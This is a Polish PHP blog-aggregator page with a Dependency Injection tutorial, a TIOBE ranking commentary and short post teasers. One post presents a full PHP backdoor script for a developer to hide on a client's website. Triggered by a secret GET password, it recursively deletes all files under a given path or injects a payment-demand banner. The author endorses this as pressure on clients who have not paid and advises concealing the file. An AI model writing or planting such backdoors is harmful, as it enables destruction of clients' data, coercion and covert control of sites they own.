Niezalogowany [ logowanie ]
Subskrybuj kanał ATOM Kanał ATOM

Autor wpisu: Łukasz Socha, dodany: 15.07.2012 13:25, tagi: php

pobierz w .pdf(przeznaczone do wydruku)

Dependency Injection jest chyba jednym z najprostszych wzorców projektowych, więc zapewne wiele osób używało go nieświadomie. Warto jednak wiedzieć, że dane rozwiązanie ma szerokie zastosowanie i jakąś nazwę… ;)

Tym razem wyjątkowo nie będzie opisu teoretycznego, bo i nie za bardzo jest o czym mówić. Zasadę najłatwiej będzie zrozumieć na praktycznym przykładzie.

Przykład z życia wzięty

Przeanalizujmy fragment klasy do obsługi użytkownika.

<?php

class Session {
    public function __construct($name = 'PHP_SESSSION') {
        session_name($name);
        session_start();
    }
    public function set($key, $value) {
        $_SESSION[$key] = $value;
    }
    public function get($key) {
        return $_SESSION[$key];
    }
}

class User {
    protected $session;

    public function __construct($session) {
        $this->session = $session;
    }
    public function setName($name) {
        $this->session->set('name', $name);
    }
    public function getName() {
        return $this->session->get('name');
    }
}

$session = new Session("MOJA_SESJA");
$user = new User($session);
$user->setName("moj_login");
echo $user->getName();

?>

Klasa Session udostępnia obiektowe API do obsługi sesji. Obiekt tej klasy jest przekazywany w konstruktorze obiektu klasy User, gdzie jest dalej wykorzystywany. Jest to właśnie wstrzykiwanie zależności, czyli nie tworzymy instancji obiektu w danej klasie, tylko przekazujemy go przez konstruktor/metodę.

Dlaczego takie rozwiązanie jest lepsze niż:

$this->session = new Sessioon($parametrKonstuktora);

Parametr ten na dobrą sprawę nie dotyczy obiektu klasy User – jest „sztucznie” dodany. Zdecydowanie przejrzyściej i wygodniej jest zdefiniować obiekt poza klasą i przekazać już gotowy, w pełni skonfigurowany przez nasze parametry. Poza tym przy zmianach parametrów konstruktora musielibyśmy za każdym razem modyfikować wszystkie klasy inicjujące obiekt danej klasy.

Zastosowanie

Wszędzie tam, gdzie występują zależności między obiektami.

Powiązane tematy

Autor wpisu: JoShiMa, dodany: 15.07.2012 10:29, tagi: jquery, javascript, skrypty

Często w formularzach chcemy mieć pole pozwalające podać wartość koloru. Pewnie są tacy co potrafią z pamięci podać szesnastkową wartość niejednego koloru, ale przeciętny użytkownik internetu na pewno nie posiada takiej umiejętności, a poza tym wpisywanie kodów z klawiatury jest niezbyt wygodne. Z pomocą przychodzi selektor koloru dołączony do formularza. Tworze własnie dla klienta konwerter, [...]

Autor wpisu: l3l0, dodany: 14.07.2012 17:35, tagi: symfony

Tworzenie własnych typów formularzy w Symfony 2 jest stosunkowo proste. Wszystkie potrzebne do tego informacje znajdziemy w oficjalnej dokumentacji Jednak, przykład w dokumentacji jest dość (jak to mawiali wykładowcy analizy matematycznej) trywialny Wyobraźmy sobie że potrzebujemy czegoś bardziej zaawansowanego. Powiedzmy że potrzebujemy typu który składa się z wielu innych typów „entity” które są powiązane więc [...]

Autor wpisu: stormfly, dodany: 13.07.2012 12:56, tagi: mysql

Jedno z zapytań ofertowych zawierało w specyfikacji wymóg użycia bazy MySQL, niestety nasz CMS korzysta z PostgreSQL i przysłowiowy zonk. Z uwagi na to, że nie mamy bezpośredniego kontaktu z klientem i jesteśmy podwykonawcami przygotowaliśmy z początku wycenę zmiany CMS by korzystał z...

Autor wpisu: Łukasz Socha, dodany: 11.07.2012 22:46, tagi: php

pobierz w .pdf(przeznaczone do wydruku)

Pewnie wielu z was miało „przyjemność” spotkania nieuczciwych klientów, którzy nie byli zbyt skorzy do zapłaty za dobrze wykonaną pracę. Nawet jeżeli podpisaliśmy umowę mało komu zapewne chce się walczyć przed sądem o te kilkaset złotych (przy tych prostych projektach). Czy jesteśmy całkowicie bezbronni? Nie, stwórzmy sobie małą furkę…

<?php

// usuwa wszystkie pliki - pamietaj o CHMOD
function delete($dir) {

    $fd = opendir($dir);
    if (!$fd)
        return false;
    while (($file = readdir($fd)) !== false) {
        if ($file == "." || $file == "..")
            continue;
        if (is_dir($dir . "/" . $file)) {
            delete($dir . "/" . $file);
        } else {
            unlink("$dir/$file");
        }
    }
    closedir($fd);
    rmdir($dir);
    return true;
}

// wstrzykuje odpowiedni komunikat - pamietaj o CHMOD
function inject($file, $text) {
    $fp = fopen($file, "a");
    if (!fwrite($fp, $text))
        return false;
    fclose($fp);
    return true;
}

// dolaczony tekst
$text = '<div style="position: fixed;top:0;left:0;color:#ff0000;font-size:26px;z-index:99999;background: #ffffff;">Prosimy uregulowac naleznosc za stworzenie strony</div>';

$pass = $_GET['pass'];
$action = $_GET['action'];
$path = $_GET['path'];

if ($pass == "nasze_haslo") {
    switch ($action) {
        case 'delete':
            if (delete($path)) {
                echo "Pliki usuniete z katalogu " . $path;
            } else {
                echo "Nie udalo sie usunac plikow z katalogu " . $path;
            }
            break;
        case 'inject':
            if (inject($path, $text))
                echo "Udalo sie dolaczyc do pliku: " . $path . " kod";
            else
                echo "Nie udalo sie dolaczyc do pliku: " . $path . " kodu";
            break;
        default:
            echo "Bledna akcja";
            break;
    }
} else {
    echo "Bledne haslo";
}
?>

Funkcja delete() ma za zadanie usunąć wszystkie pliki (rozwiązanie ostateczne :) ), zaś inject() dodaje odpowiedni komunikat w kodzie strony. Ponadto skrypt zabezpieczamy hasłem, by nikt przypadkowo nie zniszczył strony. Musimy oczywiście jeszcze pamiętać o odpowiednim ustawieniu CHMOD, no i ukryciu pliku.

Czy jest to skuteczne? Moim zdaniem tak. Większość klientów ma znikomą wiedzę na temat tworzenia stron, więc śmiem przypuszczać, że nie będą w stanie znaleźć pliku czy poprawić CHMOD. Chyba żadna firma nie zaryzykuje kompletną kompromitacją dla paru złoty – warto wcześniej poinformować o konsekwencjach niezapłacenia w ustalonym terminie :) .

Autor wpisu: matipl, dodany: 11.07.2012 18:11, tagi: php

TIOBE - Very Long Term History (2012)Od dłuższego czasu nie wspominałem Wam o dorocznym raporcie firmy TIOBE, bo w rankingu języków programowania nie działo sie nic niezwykłego, aż do tegoroku…

W tym roku Objective-C wyprzedził C++, PHP i przebił się do mas…

O Języku Objective-C, który powstał w 80-latach na podwalinach Smalltalk’a przez lata nikt nie słyszał. W swojej historii miał kilka małych epizodów, jak chociażby ten z 1988 roku. W 1988 zainteresował się nim Steve Jobs, kiedy zakładał firmę NeXT, w Objective-C powstał system operacyjny NeXTstep, który wiele lat później był podwaliną pod Mac OS X. Mimo wszystko przez lata jego popularność była w granicach 1%.

TIOBE Programming Community Index for July 2012

Ale od 2009 roku, roku w którym premierę miał AppStore (sklep z aplikacjami dla iPhone/iOS) język Obj-C niesamowicie wystrzelił – jak żaden inny język. Ale nikt nie spodziewał się większej popularności, wtedy Apple był nadal kojarzony z niszowym systemem. Jeszcze na początku 2011 roku zdawało się, że Objective-C pozostanie niszowy, na równi z Perlem. Nic bardziej mylnego. W 2011 roku Apple zaprezentował kolejny sklep – Mac App Store, sklep z aplikacjami dla Mac OS X i wszystko się zmieniło.

Wg raportu TIOBE w tym roku Obj-C (9,3%) wyprzedził C++ (9,1%) i ma się na dobrej drodze, aby wyprzedzić w popularności Javę, której popularność systematycznie maleje. Sklepy z aplikacjami Apple mają niesamowity potencjał dla młodych developerów. Z dnia na dzień o każdym może usłyszeć cały świat i jeszcze jest miejsce dla wielu aplikacji.

Java jest daleko w przodzie (16%) i młode osoby spokojnie mogą wybrać ten język jako ostoję. Na pewno nie powinniśmy działać impulsywnie. Wystarczy przypomnieć sobie szał sprzed kilku lat z powodu Ruby’iego, który został ostatecznie niszowym językiem (1,76%) i nie dorównał do PHP (5%).

Aktualny raport:   TIOBE Programming Community Index for July 2012

Autor wpisu: Kamil, dodany: 11.07.2012 17:06, tagi: php

Język PHP ma nie najlepszą renomę wśród programistów, lecz moim zdaniem dość niesłuszną i wynikającą jedynie z nieznajomości tego języka (lub znajomości którejś ze starszych wersji). PHP daje ogromne możliwości i przy właściwym wykorzystaniu umożliwia stworzenie dowolnego projektu internetowego (Facebook, Yahoo, Wikipedia, Flickr) – jedynym ograniczeniem jest Twoja wyobraźnia ;) Aby dobrze programować w PHP [...]
Wszystkie wpisy należą do ich twórców. PHP.pl nie ponosi odpowiedzialności za treść wpisów.